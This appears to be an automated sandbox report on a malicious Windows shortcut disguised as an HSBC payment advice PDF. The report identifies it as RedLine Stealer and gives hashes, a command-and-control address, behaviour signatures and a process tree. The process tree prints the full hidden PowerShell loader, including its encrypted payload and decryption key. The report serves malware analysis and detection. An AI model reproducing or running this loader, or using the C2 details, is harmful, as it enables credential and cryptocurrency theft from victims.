Analysis
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max time kernel
98s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
29-11-2024 09:11
General
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Target
Payment_Advice_HSBC_Swift_Copy.pdf.lnk
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Size
3KB
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MD5
b34d7dcf2fd1a08025934b2b3b60c4d3
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SHA1
2d892b1de088baed8ae4df89536b7e197ea7d83e
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SHA256
b488b9f29cb8897a1854ca1ec2e943c99ab6724a825bfedf5485f147be6a9387
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SHA512
03bcf8eb554b5fcab7f843f3841c20a2a008d3dbdc5904577935122ff2c1fd86c975d9aaec6faaf9ed36354af663deaba39901fe4da700c74e8c4cead605cacd
Malware Config
Extracted
redline
cheat
41.216.183.218:1912
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
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Redline family
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
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Blocklisted process makes network request 1 IoCs
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Drops startup file 1 IoCs
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Executes dropped EXE 2 IoCs
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Suspicious use of SetThreadContext 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 8 IoCs
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Suspicious use of AdjustPrivilegeToken 4 IoCs
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Suspicious use of WriteProcessMemory 13 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Payment_Advice_HSBC_Swift_Copy.pdf.lnk2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& {param($a, $b) $KEYIV = 'k8XdzE5Qhcf2e9Ywp4VEDqcIiZgSnG82lQkfyUvgczlI5FEX7EEuaglnm6Og2iToSvxZ25pJBaUqiOYYZt6y2P51jaT8vBYceYxEgCkXencCyumIw0vb4ZDdW5f6FFU324g2HYnIZntCYhBhzD4wsQotd4P21kmAvwOoqsWXrDjj4tpcToqBzGtbJ5NOCsqJL8hpXhz7IUR1CFpqj7uKYt030bDNEw3'; $command = [System.Convert]::FromBase64String($a); $key = [System.Convert]::FromBase64String($b); $e = New-Object System.Security.Cryptography.AesManaged; $e.Key = $key; $e.IV = $command[0..15]; $f = $e.CreateDecryptor(); $g = $f.TransformFinalBlock($command[16..$command.Length], 0, $command.Length - 16); $h = [System.Text.Encoding]::UTF8.GetString($g); Invoke-Expression $h; }" -a "g1lXULknt2tFEJ9CWtSeuT8lpwEFw2kduv2dAdXnBvW9zQWYvllyH1IzQb17QpM0MRSxRM4iBrzRGSVUzbA9Lntnw+3R6C6XzbKH3sKg0xA54U4USXwc36MuqEzwr69ZA9nW8flo9QFTCFNjo4y1kIOULkZXzZGC6QAav/ljI5Z7Zf78xpG6FK5NMvelcmgXJwECeHMCAZ5vOxfjBw1m5XEmuUeL2eLSYegw3J5rGeo=" -b "jgM16vyg07nuWc5iJFexQsYoNWWiseIKj/77y2lZRJg="3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\tmp8B19.tmp"C:\Users\Admin\AppData\Local\Temp\tmp8B19.tmp"4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops startup file
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\tmp8B19.tmp"C:\Users\Admin\AppData\Local\Temp\tmp8B19.tmp"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
6KB
MD5699f560ef94b40660358d8266df4ece0
SHA191c9c7c8081f3744482e1c91e461b9801dd9fb8c
SHA2568ac294da2b5fed0f7d472c1085839526e554f0fcb61dee906db7d3a7e614274a
SHA51268f91d686d5aedc506540c925ed83157e88c1527c672350cb42ca959af30d0b7a250138a2297bb7e247cf1bb0b59b119bc0a59406b1c6c13761a2527cb2aa3b1
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Filesize
5.2MB
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Filesize
1.8MB
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Filesize
320KB
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Filesize
408KB
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Filesize
304KB
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Filesize
240KB
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Filesize
72KB
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Filesize
1.0MB
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Filesize
6.1MB
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Filesize
328KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
-
Filesize
1008KB
-
Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
-
Filesize
1008KB
-
Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
32KB
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Filesize
5.6MB
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Filesize
584KB
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Filesize
40KB
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Filesize
1.0MB
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Filesize
1008KB
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Filesize
456KB
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Filesize
304KB
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Filesize
336KB
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Filesize
1008KB
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Filesize
1008KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
8KB
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Filesize
136KB
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Filesize
8KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
10.8MB